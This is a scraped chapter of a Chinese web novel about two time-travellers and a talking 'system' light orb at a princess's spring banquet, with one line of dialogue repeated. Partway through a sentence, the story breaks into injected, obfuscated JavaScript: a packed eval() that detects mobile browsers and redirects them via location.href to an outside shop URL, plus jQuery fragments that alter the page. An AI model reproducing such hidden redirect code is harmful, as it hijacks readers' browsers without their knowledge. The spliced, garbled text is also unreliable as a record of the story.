5. 第5章 请你看场好戏

作品:《穿为炮灰后,掀翻旧朝我当女帝(双穿)

    “那鬼地方,天天饿得前胸贴后背,本就少得可怜的口粮,我甚至怀疑有人暗中克扣!甜的就别想了,连口带盐味的菜都吃不上,我真的快熬不下去了。”


    许尽欢满脸委屈又痛苦,江浸月看着他这副可怜巴巴的模样,忍不住弯起了眼角。


    他还没回过神,嘴已经抢在了脑子前面,脱口而出:“你刚才笑了?”


    江浸月立刻敛去笑意。


    许尽欢后知后觉反应过来,狠狠拍了下自己的嘴,心里一阵懊恼,他有些不安的垂下头,生怕江浸月厌烦他:死嘴,平时笨得要命,偏在这种不该多嘴的时候快得离谱。


    “不是我……哎,我错了。”他干脆放弃辩解,慢慢往后退,语气软了下来,“我就是……看你开心,我也开心。”


    “不是我……诶……我错了。”许尽欢选择放弃挣扎,他慢慢后退,“我就是看你高兴我也高兴。”


    他还想安慰两句,就听见外面传来急促的脚步声,剩下的话都被他堵在喉头,让他感觉有些窒息,这犹如一盆冷水给他当头一棒,他感受过江浸月不排斥他的温柔,他这些日子好像已经开始习惯她对于他的笑颜。


    他怕,他太怕哪怕因为这一个小小的变故让这些温柔不复存在,就再也无法回到得到她那一个眼神都是奢望的日子,一切的一切都拨乱反正,想到江浸月对他陌生的眼神,他就遍体生寒。


    “明天见。”,许尽欢强装镇定的稳了稳心神,忙着跑路的同时也不忘记对着江浸月用他可怜巴巴的眼睛近乎讨好的看着她,听见脚步声逼近,便提着包袱赶紧溜出去,江浸月刚收回视线,他神不知鬼不觉地又突然从屋檐下冒出来,“江江,等明天一早我请你看一场大戏,你不会讨厌我吧。”


    江浸月被吓了一跳,差点一巴掌直接呼上去,看清楚是许尽欢后颇为无语的看着他,“你是喝点酒把脑子给灌傻了?现在COS蜘蛛侠?”


    “那倒没有,总之你就放一百个心吧这戏台子我都搭好了,明天的戏肯定对你胃口。”听到江浸月说话并无异常,许尽欢终于笑了,他打着包票,露出虎牙,笑得一脸真诚,江浸月明白明天又有人要倒大霉了。


    不等她走向前去,许尽欢挥挥手头也不回的跳下去,“不用送了,晚安。”


    等江浸月走到窗台旁去看时,人已经跑远了。


    第二天一早。


    染春轻轻叩门,“小姐,公主府递来的帖子,您再过目一下。”


    江浸月把染春刚送来请柬打开,看着描金娟丽的字体,停顿了一瞬便把手里的请柬轻轻合上放在梳妆台上,唇角微勾。


    “大戏吗?有意思。”


    江浸月死而复生,在京中掀起了轩然大波,这不一早便匆匆送来请帖。


    染秋和染春自江浸月“死后”便被调离了汀兰院,昨天晚上她们乍一下看见自家小姐好端端的,站在哪里她们甚至还以为自己没睡醒。


    染秋和染春赶紧掐了掐对方发现有痛感时,还是不敢相信这是真的,两个人就这样眼巴巴地守在门外,守着江浸月守了一晚上。


    早上起来江浸月吩咐她们来为自己梳妆时,她们看见活生生地小姐眼泪直接就这样毫无征兆的淌下来,染秋眼睛红红的看着自家小姐,恨不得把眼睛粘在自家小姐身上。


    “小姐你终于回来了。”染秋泪水糊了一脸,呆呆地望着江浸月,心里琢磨着小姐还是瘦了。


    染春也出奇的没有训斥染秋,她立在一旁看着江浸月打趣染秋,逗得染秋直摸眼泪,看的染春也忍不住笑起来,染秋拿着帕子遮着脸,说什么都不掀开,“小姐,行行好,你就别打趣我了。”


    等江浸月和染春好不容易把染秋哄好,染秋抹着眼泪,难得意识到自己犯了错,“小姐,对不起小姐,我不该哭的,小姐你要平平安安的。”


    “好好好,真是难为我们家染秋反过来教训我。”江浸月一本正经的抚上胭脂盒,染秋反应过来小姐还在打趣她,便愤愤地揭下手中的帕子,活脱脱一个小姑娘模样,染春看见小姐和妹妹互相打趣古灵精怪的模样没忍住笑起来。


    染秋被这一打岔也忘了哭,等江浸月坐在梳妆台前时,她就一如往常的笑嘻嘻的给江浸月挑适合她的首饰,她献宝似的把一根小巧且精致的簪子放到她眼前,“小姐,咱们今天用这个发钿吧。”


    “染秋,我相信你,我的头发交给你了。”,江浸月轻轻拍了拍染秋的手背,朝她郑重的交过手中的头发。


    听到这,染秋突然感觉她何其幸运被小姐如此信任,随即她的周围燃起了莫名的热血氛围,这番话彻底激发了她的熊熊斗志,于是大刀阔斧地做起了造型。


    远处染春则拿起被熏过香的衣裳,笑吟吟地看着二人的互动,手里也一刻没闲着,手指翻飞为衣裳做最后的熨烫,并吩咐门外不识趣的小丫鬟们把冰端进屋内,给江浸月降降暑气。


    染春熨着衣摆,“小姐,清早过于贪凉可不好,我早早便吩咐厨子给您做了点解暑的酸梅汤,都在这备上,您要是想喝就吩咐这些下人拿去。”


    江浸月昏昏欲睡的点了点头,感受着身后传来的丝丝凉意,强睁开眼发现天还没亮,颇为无奈地继续闭目养神。


    “不必做的太仔细,晚些时候在准备一番吧。”江浸月摆摆手,自己是真遭不住了,她活动了一下僵硬的脖子,困得实在是睁不开眼睛。


    便谴退了下人,她走进书房说是要练会字,实则是奔着在里面的软榻上补觉的打算,等到睡饱了才吩咐染春和染秋继续为她打扮。


    江浸月被染春小心搀扶着下了马车,偷偷观察这公主府华丽的内饰,见过许多大场面的江浸月还是不由得惊叹。


    前几次来也匆匆去也匆匆根本没心思去欣赏这府邸,突然不知为何她想起许尽欢那可怜的破破烂烂的房子突然有点想笑。


    一回头便看见刚才还在想到人正在身后,许尽欢靠着一棵桃树,笑的阳光,“给我说说,到底是什么天大的好事这么好笑,让我们江大小姐这般高兴。”


    “想你呢,你让我高兴不行吗。”江浸月越过自我陶醉的许尽欢,这一句毫不遮掩的话吓的许尽欢差一点跌到草堆里。


    “我的祖宗喂,低声些。”许尽欢心有余悸地观察了一下周围,看没人关注这边才堪堪放下心来,他的脖子出卖了他,他的脖子红的吓人。


    “江江你这样说,我会以为你对我有非分之想哦~”,许尽欢抱着自己的肩膀害羞的朝着江浸月眨眨眼,如此做作的样子成功的恶心到了她,他试探的看着她的表情。


    看着江浸月恶心的扭过头去,许尽欢毫不掩饰的笑起来,心里却酸酸的,他脑子里只有一个念头,“他的江江还是这般厌烦他”


    [你们人类就是这么无聊的嘛。]


    许尽欢满头黑线看着气氛破


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477717|201579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坏者,便坏心思的把小垃圾从江浸月肩头拉下去,“等你变成人类的时候就懂了。”


    “哦,我忘了你不是人。”


    [嘤嘤嘤,宿主他骂我……嘤嘤嘤。]


    江浸月看着躲在她怀里撒娇的小光球,也起了逗弄地心思,语气温柔,眉眼弯弯,“小垃圾,其实他说的没错呀。”


    小光球靠着江浸月的肩膀慢慢融化,顺着胳膊流了下去,他哭兮兮的唱着,[小白菜,地里黄,三岁啊,没了娘……]


    江浸月捧住快要流到地上的小垃圾,“骗你的,其实我们家小垃圾最可爱了。”


    [真的嘛~?(??????????????)?],小光球恢复原样,周围突然冒出几颗很诡异的小星星,而江浸月诡异的觉得自己可以看懂这个小光球的表情。


    “当然。”


    [嘿嘿嘿,谢谢你~(??¤????ω¤????)??]


    “得,你们你娘俩真把我当空气了。”许尽欢指着远处,“春日宴快开始了,要不咱们也去凑凑热闹?”


    江浸月看着小垃圾期待的模样,不禁勾起唇角,揉了揉小垃圾的头,“小垃圾你想去凑热闹吗。”


    [可……可以嘛。]小垃圾拘谨地点点光球。


    “当然。”说完就带着小光球朝着宴会中心走去,


    “诶诶诶,等等我。”许尽欢一个没注意,这一人一统头也不回的就这样走了。


    江浸月落座于太子对面,丝毫不掩饰脸上的嫌弃,许尽欢苦哈哈的坐在后面。


    两人面上看起来毫无交集,却在线上一唱一和骂着太子。


    “这倒霉玩意怎么又来了。”江浸月朝着维持假笑地太子偷偷翻了个白眼,“这玩意看着就烦,能不能让他死一边去,还坐我对面!看着这张脸我就想吐。”


    许尽欢默默地离这位远了一点,“你说他能不能离我远点,离他太近死得快可以申请工伤吗小垃圾。”


    [什么是工伤啊宿主。],小垃圾好奇。


    江浸月抿了一口茶,“工伤就是工作受的伤。”


    [原来如此,那不可以哦!小垃圾现在还没有使用商城的权限呢嘿嘿。]


    “不是你是说商城?”许尽欢发现了华点,眼神一凛,他到现在还是怀疑这个所谓系统的目的,江浸月则笑吟吟的看着小垃圾,“你是不是该给我们解释一下?嗯?”


    [宿主大人,你们是不是年纪大了幻听啦,我没有说话啊。],小垃圾心虚地一点一点都挪走,企图蒙混过关。


    刚慢悠悠的准备开溜,就被江浸月一把抓住命门,拽了回来。


    江浸月皮笑肉不笑地微微扯起唇角,眼神却冷的吓人,身为虚无的小垃圾竟然能感觉到传说中的后背一凉。


    [额,(ー_ー)!!完蛋了。]


    还没来得及深究小垃圾的罪孽,两人就被一道身影一齐吸引住视线。


    若是要两人排一个仇人排行榜,那么这位成功遭受二人同时恶心到极点的太子肯定一骑绝尘,位居榜首且终年不断。


    刚穿越进来的时候两人都曾天真的以为这个太子是好人,怀疑了一圈也没怀疑到他头上,谁知道这货给他们来了一招灯下黑,反手给他俩送走。


    他们死的那叫个惨不忍睹,许尽欢每次想到这货的手段,再看看他那张脸就恶心的想吐,他跟兄弟心连心,兄弟跟他玩脑筋。